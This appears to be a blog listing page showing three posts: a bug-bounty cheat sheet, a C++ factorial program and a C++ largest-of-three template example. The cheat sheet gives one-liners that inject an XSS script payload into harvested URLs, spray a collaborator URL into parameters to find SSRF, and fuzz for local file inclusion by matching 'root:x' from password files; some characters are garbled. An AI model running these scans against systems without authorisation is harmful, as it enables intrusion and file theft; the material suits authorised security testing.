Posts

Showing posts from April 4, 2021

Bug BOunty Helpful Commands

  cat file.txt | gf xss | grep ‘source=’ | qsreplace ‘”><script>confirm(1)</script>’ | while read host do ; do curl –silent –path-as-is –insecure “$host” | grep -qs “<script>confirm(1)” && echo “$host 33[0;31mVulnerablen”;done >>. to get urls from websites.... waybackurls target.com | tee urlss.txt dalfox file urlss.txt pipe   XSS   cat file.txt | gf xss | grep ‘source=’ | qsreplace ‘”><script>confirm(1)</script>’ | while read host do ; do curl –silent –path-as-is –insecure “$host” | grep -qs “<script>confirm(1)” && echo “$host 33[0;31mVulnerablen”;done SSRF findomain -t example.com -q | httpx -silent -threads 1000 | gau |  grep “=” | qsreplace http://YOUR.burpcollaborator.net LFI Follow this command to find LFI findomain -t example.com -q |  waybackurls |gf lfi | qsreplace FUZZ | while read url ; do ffuf -u $url -mr “root:x” -w ~/wordlist/LFI.txt ; done find JS files on target.com https:/...

Program to find the factorial of number using function

The program is to find the factorial of number using function. The program is not extendable.  Go enjoy the program. Lets begin…   #include<iostream.h> #include<conio.h> //function prototype int fact(int); //main function void main() { //clear the screen. clrscr(); //declare variables as int. int no,fac; //Input the number and save it in 'no' cout<<"Enter the no."<<endl; cin>>no; //calculate factorial using function. fac=fact(no); //print factorial cout<<"Factorial of "<<no<<" is "<<fac; //get character getch(); } //function int fact(int no) { int i,f=1; for(i=1;i<=no;i++) f=f*i; return(f); }

Find Largest of Three numbers in C++ using Function

How to find the largest of three numbers using function templates in C++.  # include <iostream> using namespace std ; template < class T > int find ( T x , T y , T z ) { T lar ; if ( x > y && x > z ) { lar = x ; } else if ( y > z ) { lar = y ; } else { lar = z ; } return lar ; } int main ( ) { int x , y , z , lar ; cout << "Enter three numbers:" ; cin >> x >> y >> z ; lar = find ( x , y , z ) ; cout << "Largest is:" << lar ; return 0 ; }

Popular posts from this blog

Very Huge Dorks for SQLi || Web Hacking

How to find index of the Array in C